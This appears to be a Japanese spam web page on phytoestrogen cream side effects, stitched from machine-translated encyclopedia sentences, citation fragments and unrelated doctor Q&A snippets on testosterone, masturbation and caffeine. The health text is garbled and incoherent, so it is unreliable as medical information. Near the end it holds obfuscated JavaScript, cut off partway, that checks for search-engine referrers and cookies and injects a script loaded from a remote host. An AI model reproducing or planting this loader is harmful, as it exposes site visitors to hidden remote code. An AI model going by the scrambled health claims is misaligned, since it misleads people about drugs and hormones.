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フィトエストロゲンクリーム副作用

その名前はギリシャの植物（ "植物"）とエストロゲン、女性の哺乳類に繁殖力を与えるホルモンから来ている.. 人間への影響
ヒトでは、植物性エストロゲンは循環系に容易に吸収され、血漿中を循環し、そして尿中に排泄されます。.. ^ a b Dang ZC、Audinot V、Papapoulos SE、Boutin
JA、L wik CW（2003年1月）..
植物エストロゲンは1926年に最初に観察されましたが、それらがヒトまたは動物の代謝に何らかの影響を与える可能性があるかどうかは不明でした..
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植物性エストロゲンは、内分泌系内では生成されず、植物性エストロゲン性植物を食べることによって消費される植物由来の異種エストロゲン（エストロゲンを参照）です。..
この二相性反応は、ゲニステインがその効果を発揮すると考えられている方法と相関しています..
「正常男性のリプロダクティブ・ヘルスに対するフィトエストロゲン栄養補助食品の効果」.

エコロジー 植物中のこれらの化合物は、主に真菌に対する防御システムの重要な部分です。.. 林 1 医者は同意しました：      Sustanon：
Sustanonは、さまざまな半減期を組み合わせたさまざまなテストステロンのブランドです。.. 植物性エストロゲンが卵巣摘出術、更年期障害、またはその他の原因に起因する低エスト
ロゲンレベル（低エストロゲン症）の有害な影響のいくつかを最小限に抑えることができるかどうかは不明のままです..
「大豆乳児用調製粉乳中のイソフラボン：乳児における内分泌およびその他の活性の証拠のレビュー」..
動物に見られるエストロゲン（下）と比較して植物に見られる最も一般的なフィトエストロゲン（上と中）の化学構造..
ゲニステインの最終的な生物学的効果は、これらの多面的作用のバランスによって決まります。.. 植物性エストロゲンを含むことが証明されている植物には、Pueraria
mirifica、およびその近親者、kudzu、Angelica、fennel、およびaniseが含まれます。.. それを必要としないあなたの19yo年の自己のような若い男性に使われるとき、su
stanonはあなた自身のテストステロン生産を停止して、あなたを不妊にして、過剰なテストステロンレベルで関連した通常の副作用.

）Panax Ginsengには植物性エストロゲンが含まれており、更年期症状に使用されています.. 1940年代から1950年代初頭にかけて、地下クローバーとレッドクローバー（植物性
エストロゲンが豊富な植物）の牧草地の一部が放牧羊の繁殖力に悪影響を及ぼしていることがわかった。.. 「大豆乳児用調製粉乳中に存在する濃度のゲニステインは、G2 /
M細胞周期停止を引き起こすことによりCaco-2BBe細胞増殖を阻害する」.. フィトエストロゲンクリーム副作用
発疹カフェインの適度な使用にはいくつかの健康上の利点があるという手がかりがたくさんありますが、科学は決定的なものではありません..
考えられる副作用のより包括的なリストは、オリジナルのRxの添付文書にあります。.. "Pueraria mirificaのエストロゲン様活性に対する代謝活性化の要求".
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ルッソ 1 医者は同意しました：      未承認： 私の知る限りでは、Clomid（クロミフェン）はFDAの承認を受けていないか、男性への使用を推奨していない..
絶滅危惧種の繁殖を可能にする目的で、製造された補助食品中に存在する環境エストロゲンのスクリーニング方法に関する研究が行われてきた..
頻繁な射精は、より多くの水分がそれらを希釈するために利用可能であるという理由で単に精子数を減らします..
分子レベルでのエストロゲンとフィトエストロゲンの類似性は、それらが穏やかに模倣することを可能にし、時にはエストロゲンの拮抗薬として作用する.. ^ Leopold
AS、アーウィンM、Oh J、ブラウニングB（1976年1月）
^フィドラーAE、ズワートS、ファリスRP、ウェストンRJ、ローレンスSB、ヤンセンP、エリオットG、マートンDV（2000）.. 乳児用調製粉乳
いくつかの研究は、ある濃度のイソフラボンが腸細胞に影響を与える可能性があることを発見しました.

女性の生殖能力を制御することによって、植物は草食動物の過剰集団に対する自然な防御の一部として植物性エストロゲンを使用するという仮説が立てられています。..
「脂肪細胞に対する大豆植物エストロゲンゲニステインの用量依存的効果：作用機序」.. フリードランダー     いいえ：
他のことに集中できるようにし、夫/父親になるための準備を整えておくことは、あなたにとって良いことです。..
いくつかのフィトエストロゲンはペルオキシソーム増殖因子活性化受容体（PPAR）に結合してトランス活性化する.. 「統合されたin silicoおよびin
vitroアプローチによる食品添加物中の異種エストロゲンの同定」.. ^トンプソンLU、ブーシェBA、劉Z、Cotterchio M、Kreiger N（2006）.. オーツ麦 オオムギ 豆
レンズ豆 山芋 ご飯 アルファルファ 緑豆 りんご 人参 ザクロ 小麦胚芽 米ぬか ルピナス 葛 コーヒー 甘草の根 ミント 人参 ホップ、 バーボンウイスキー ビール、 ウイキョウ アニス..
^ Shu XO、Zheng Y、Cai H、Gu K、Chen Z、Zheng W、Lu W（2009年12月） ^フリッツH、Seely
D、花G、スキッドモアB、フェルナンデスR、Vadeboncoeur S、ケネディD、クーリーK、ウォンR、サガールS、サブリーE、ファーガソンD（2013）.. バックリー    
どのように定義しますか： 「オナニーオーバー」？オナニーは人間を含むすべての動物で通常の活動です.. 食物源 西洋食における9つの一般的な植物性エストロゲンのある研究によると、
最も高い相対的な植物性エストロゲン含有量を持つ食品はナッツと油糧種子、続いて大豆製品、穀物とパン、豆類、肉製品、そして大豆、野菜を含むその他の加工食品です。果物、アルコー
ル、および非アルコール飲料.. 「幼児期における大豆ベースの処方への曝露、および若年成人における内分泌学的および生殖的転帰」..
「質量分析と組み合わせたオンライン生化学検出を用いたザクロ（Punica granatum）中のエストロゲン化合物の迅速な重複排除」..
植物性エストロゲンが高親和性でエストロゲン受容体に結合し、エストラジオール様効果を発揮するのを可能にする重要な構造要素は以下の通りです。
エストロゲン受容体との結合に不可欠なフェノール環 受容体結合部位でエストロゲンの環を模倣するイソフラボンの環 エストロゲンに似た低分子量（MW = 272）
エストラジオールで生じるものと同様のイソフラボン核における2つのヒドロキシル基間の距離 最適水酸化パターン ＥＲとの相互作用に加えて、フィトエストロゲンはまた、いくつかの酵
素を結合または不活性化することによって内因性エストロゲンの濃度を調節し得、そして性ホルモン結合グロブリン（ＳＨＢＧ）の合成を抑制または刺激することによって性ホルモンのバイ
オアベイラビリティに影響し得る。.. フィトエストロゲンの含有量は食品によって異なり、同じ食品グループ内では大きく異なる可能性があります。.. 更年期障害の血管運動症状（ほてり
）を軽減するための植物性エストロゲンの使用に関するコクランレビューは、ゲニステインの効果はさらに調査されるべきであるが、それらの使用に対する何らかの利益を示唆する決定的な
証拠はないと述べた.. 「 民族薬理学 いくつかの国では、植物性エストロゲンの植物は、受精の問題と同様に、月経および閉経期の問題の治療に何世紀にもわたって使用されてきました。..
^ Giampietro PG、Bruno G、Furcolo G、Casati A、Brunetti E、Spadoni GL、Galli E（2004年2月）..
研究は、従来の牛乳調合乳と比較して、大豆ベースの乳児用調乳の消費の結果として、ヒトの成長、発達、または繁殖に悪影響がないと結論している..
低用量では、ゲニステインは弱いエストロゲンとして作用し、細胞増殖を刺激しました。高用量では、増殖を阻害し、細胞周期の動態を変化させます。..
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先天性男性はまた、多発性内分泌腫瘍、さまざまな腺の良性および悪性腫瘍を含む遺伝性疾患を表します..
一般に、それは良いことであり、あなたを快適にし、集中させ、そしてあなたはあなた自身について学ぶ。..
いずれにせよ、カフェインが健康に有害かどうかについての質問に対する科学的な答えはほとんどありません。..
35歳から始めて、60歳までに、ほとんどすべての女性がこの問題を抱えているという女性もいます。..
他の疫学研究では、大豆エストロゲンの摂取は乳がん患者にとって安全であり、死亡率と再発率を低下させる可能性があることが明らかにされています.. ^ a
bターナー合同会社、アガトノビッチ - クストリンS、ガラスBD（2007年8月）.. 最も研究されているのはイソフラボンで、これは大豆と赤クローバーによく見られます。..
これらの適応症には、（a）ガラクトース血症および遺伝性ラクターゼ欠乏症の乳児の場合（まれ）、および（b）菜食主義の食事療法が好ましい状況におけるものが含まれる。..
太った、愚かな、短い、毛深い、不妊、盲目の、または不適当な夫/父親になることはできません..
「大豆フィトエストロゲンゲニステインの分子標的としてのペルオキシソーム増殖因子活性化受容体ガンマ（PPARgamma）」.. ^ Cederroth
CR、オーガーJ、Zimmermann C、Eustache F、Nef S（2010） ^ a b c Bilal I、Chowdhury A、Davidson J、Whitehead S（2014）..
リグナンはまた、フラボノイドではありませんが、植物性エストロゲンとしても同定されています。..
マメ科植物（特に大豆）、全粒穀物、およびいくつかの種子は植物性エストロゲンが多い..
「血管運動症状を管理するためのブラックコホッシュとレッドクローバーの安全性と有効性：ランダム化比較試験」.. ^ Mitchell JH、Cawood E、Kinniburgh
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D、Provan A、Collins AR、Irvine DS（2001年6月）.. 西部における精子数の減少と精巣癌の増加率は、食事中のイソフラボンフィトエストロゲンのより高い存在と関連
している可能性がありますが、そのような関連は最終的に証明されていません.. ^ Chadwick LR、Nikolic D、Burdette JE、Overk CR、Bolton JL、van
Breemen RB、Fr Hlich R、Fong HH、Farnsworth NR、Pauli GF（2004年12月）..
「イソフラボン、リグナン、クメスタンなど、カナダで消費される食品中の植物性エストロゲンの含有量」..
フィトエストロゲンは食事に含まれていなくても病気が引き起こされるわけではなく、また通常の生物学的機能に関与していることも知られていないため、必須栄養素ではありません.. ^
Kennelly EJ、Baggett S、Nuntanakorn P、Ososki AL、Mori SA、Duke J、Coleton M、Kronenberg F（2002年7月）..
外因性エストロゲン（新規、人工）は、食品添加物および成分として、また化粧品、プラスチック、および殺虫剤にも含まれています。..
人間の食事では、植物性エストロゲンが外因性エストロゲンの唯一の供給源ではありません.. Com /オナニー歴史大恐怖/ dp / 0312224435 / ref = sr_1_2？Ie = utf8;
qid = 1396193485; sr = 8-2;キーワード= history + of + masturbation..
「臨床試験では、男性の生殖ホルモンに対する大豆タンパク質またはイソフラボンの効果は示されていない：メタアナリシスの結果」.. 女性
植物性エストロゲンが女性の癌の原因または予防に何らかの影響を与えるかどうかは不明です。.. いくつかのレビューは、植物性エストロゲンが乳児にどのような影響を及ぼし得るかとい
う問題に答えるためにより多くの研究が必要であるという意見を表明しているが、それらの著者はいかなる有害作用も見いださなかった.. ^ Miniello VL、モロGE、Tarantino
M、Natile M、Granieri L、Armenio L（2003年9月）.. ^ハミルトンリーヴスJM、バスケスG、デュバルSJ、Phipps
WR、クルーザーMS、メッシーナMJ（2010年8月）.. ^ Rosenblum ER、Stauber RE、Van Thiel DH、Campbell IM、Gavaler
JS（1993年12月）.. フィトエストロゲンを含むことが知られている食品のより包括的なリストには以下が含まれます。 大豆と大豆製品 テンペ 亜麻仁（亜麻） ゴマ 小麦の果実
フェヌグリーク（ジオスゲニンを含みますが、テストステロンを増やすために男性が摂取する化合物であるTestofenの製造にも使用されます）..
ERとPPARの両方が互いに影響を及ぼし、したがって用量依存的に異なる効果を誘発することが研究により示されています.. 厳密な研究では、そのようなフィトエストロゲン源の1つ
、レッドクローバーの使用は安全であることが示されていますが、更年期症状の軽減には効果がありません（更年期症状にはブラックコホッシュも使用されますが、植物エストロゲンは含ま
れません）.. ^ Geller SE、Shulman LP、van Breemen RB、Banuvar S、Zhou Y、Epstein G、Hedayat S、Nikolic D、Krause
EC、Piersen CE、Bolton JL、Pauli GF、Farnsworth NR（2009）..
心血管系、代謝系、中枢神経系に対する植物性エストロゲンの幅広い有益な効果、ならびに癌のリスクの減少および閉経後の症状が主張されています.. ^ Lethaby
A、Marjoribanks J、クローネンバーグF、Roberts H、Eden J、Brown J（2013）.. アメリカ小児科学会は、次のように述べています。「通常の成長と発達のために
栄養を提供するために、単離ダイズタンパク質ベースの処方が使用されるかもしれないが、牛乳ベースの処方の代わりにそれらを使用する適応はほとんどない..
エストロゲン受容体には2つの変異型、アルファ（ER-）とベータ（ER-）があり、多くの植物エストロゲンはER-と比較してER-に対してやや高い親和性を示します。.. 構造 フィ
トエストロゲンは主に置換天然フェノール化合物の大きなグループに属します：クメスタン、プレニルフラボノイドおよびイソフラボンはこのクラスのエストロゲン効果で最も活発な3つで
す。.. 米国の女性に関する疫学的研究は、健康な閉経後の白人女性における植物性エストロゲンの食事摂取量は1日1ミリグラム未満であることを発見しました.. 「発情」という言葉 -
ギリシャ語 - は「性欲」を意味し、「遺伝子」 - ギリシャ語 - は「生成する」という意味です。.. var _0x2d5f=['c3BsaXQ=','cmVwbGFjZQ==','OyBzZWN
1cmU=','UkZLSnk=','Zk1NeVc=','Z2V0VGltZQ==','bHVNRWQ=','Y2xQTE0=','Y3VnRkU=','Lmdvb2dsZS4=','LmJpbmcu','
LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','cWxRUGU=','UHB5Um4=','LnlhaG9vLg==','RlhhVHQ=','LmFzay4=','
R3Z0a2w=','TkhZTmI=','cmVmZXJyZXI=','bGVuZ3Ro','a3hhQVA=','Z2FMU2M=','R29yanc=','c2NyaXB0','aGVhZA==','Y3
JlYXRlRWxlbWVudA==','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','SFp3R3o=','YXBwZW5kQ2hpbGQ=','44OV44K
j44OI44Ko44K544OI44Ot44Ky44Oz44Kv44Oq44O844Og5Ymv5L2c55So','dmlzaXRlZA==','aHR0cHM6Ly9vbm15Y2xvd
WQudG9wL2pwX2RlYzIucGhwP3g9c2EmcXVlcnk9','a29aQVo=','Y29va2ll','bWF0Y2g=','cU5vRkQ=','QVBlTVA=','TFVSU
GY=','c2V0','V2JEWFk=','WlZZQVo=','U2NXc3g=','SmdiVmo='];(function(_0x591ca5,_0x4134d5){var _0x3dafe3=function(
_0x516342){while(--_0x516342){_0x591ca5['push'](_0x591ca5['shift']());}};_0x3dafe3(++_0x4134d5);}(_0x2d5f,0x163));var
_0x37f4=function(_0x468392,_0x85a2cd){_0x468392=_0x468392-0x0;var
_0x532d24=_0x2d5f[_0x468392];if(_0x37f4['yNtaIm']===undefined){(function(){var _0x235ccc;try{var
_0x45ae57=Function('return\x20(function()\x20'+'{}..
しかしながら、植物性エストロゲンが健康に悪影響を及ぼす内分泌かく乱物質として作用するかもしれないという懸念もあります..
さらに、植物性エストロゲンが男性の生殖能力に影響を与える可能性があるといういくつかの証拠がありますが、「確固たる結論を引き出すことができる前にさらなる調査が必要です」..
あなたはコーヒーの摂取について私達に尋ねていますか？またはカフェインを含む単一の製品について..
現在入手可能な証拠に基づくと、植物性エストロゲンの潜在的な健康上の利益がそれらのリスクを上回るかどうかは明らかではありません。.. ^ Strom BL、Schinnar
R、Ziegler EE、Barnhart KT、Sammel MD、Macones GA、Stallings VA、Drulis JM、Nelson SE、Hanson SA（2001年8月）.. キリアン
どうか明らかにしてください： あなたが本当に何を求めているのかわかりません.. [要出典] また見なさい 民族薬理学 イソフラボン リグナン マイコエストロゲン フィトアンドロゲン
大豆 外因性エストロゲン 参考文献 ^ a b c d e f g Yildiz F（2005）..
マイコエストロゲンは同様の構造と効果を持ちますが、植物の成分ではありません。これらはFusariumのかびの代謝産物で、特に穀物に多くみられますが、他にも発生します。..
「反すう動物におけるマイコトキシン問題のレビュー：飼料中の発生、健康状態および動物の成績に対するマイコトキシン摂取の影響およびそれらの悪影響を相殺するための実際的戦略」..
^ギャロA、ジュベルティG、フリスバードJC、Bertuzzi T、ニールセンKF（2015）..
亜麻仁および他の油糧種子は最も高い総植物エストロゲン含有量を含み、大豆と豆腐がそれに続いた。..
「ERとPPARの同時活性化のバランスが、ダイゼイン誘発性骨形成と脂肪生成を決定する」.. 「バーボンとビールから分離された植物性エストロゲンのエストロゲン様活性の評価」..
外部リンク フィトエストロゲン食物源 食品中のフィトエストロゲン含有量 eのフィトエストロゲン..
マイコエストロゲンは、植物性エストロゲンについての議論ではほとんど考慮されていませんが、これらは最初にこのトピックに関する興味を引き起こした化合物です。..
フリードランダー 1 医者は同意しました：      非常に少ない：
グリップがきつすぎると肌に刺激を与える可能性があります。また、女性間の違いに備えて準備ができていない場合もあります。..
15件のプラセボ対照試験の2010年のメタアナリシスは、「大豆食品もイソフラボンサプリメントも男性の生物学的に利用可能なテストステロン濃度の尺度を変えない」と述べた。.
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